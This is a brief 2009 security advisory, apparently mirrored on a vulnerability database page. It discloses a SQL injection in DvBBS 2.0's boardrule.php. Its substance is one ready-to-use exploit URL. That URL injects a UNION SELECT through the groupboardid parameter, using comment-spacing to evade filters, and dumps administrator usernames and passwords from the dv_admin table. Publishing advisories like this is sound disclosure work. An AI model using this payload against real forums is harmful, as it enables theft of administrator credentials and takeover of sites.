Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:22413
HistorySep 04, 2009 - 12:00 a.m.

DvBBS v2.0(PHP) boardrule.php Sql injection

2009-09-0400:00:00
vulners.com
16

########################## Securitylab.ir ########################

Application Info:

Name: DVBBS (php)

Version: 2.0

Vendor: http://p.dvbbs.net

#################################################################

Discoverd By: Securitylab.ir

Website: http://securitylab.ir

Contacts: admin[at]securitylab.ir & info@securitylab[dot]ir

#################################################################

Vulnerability Info:

Type: Sql Injection

Risk: Medium

#===========================================================

http://site.com/[Path]/boardrule.php?groupboardid=1/**/union/**/select/**/concat(0xBAF3CCA8D3C3BBA7C3FBA3BA,username,0x202020C3DCC2EBA3BA,password)/**/from%20dv_admin%20where%20id%20between%201%20and%204/**/
#===========================================================
#################################################################

Securitylab Security Research Team

###################################################################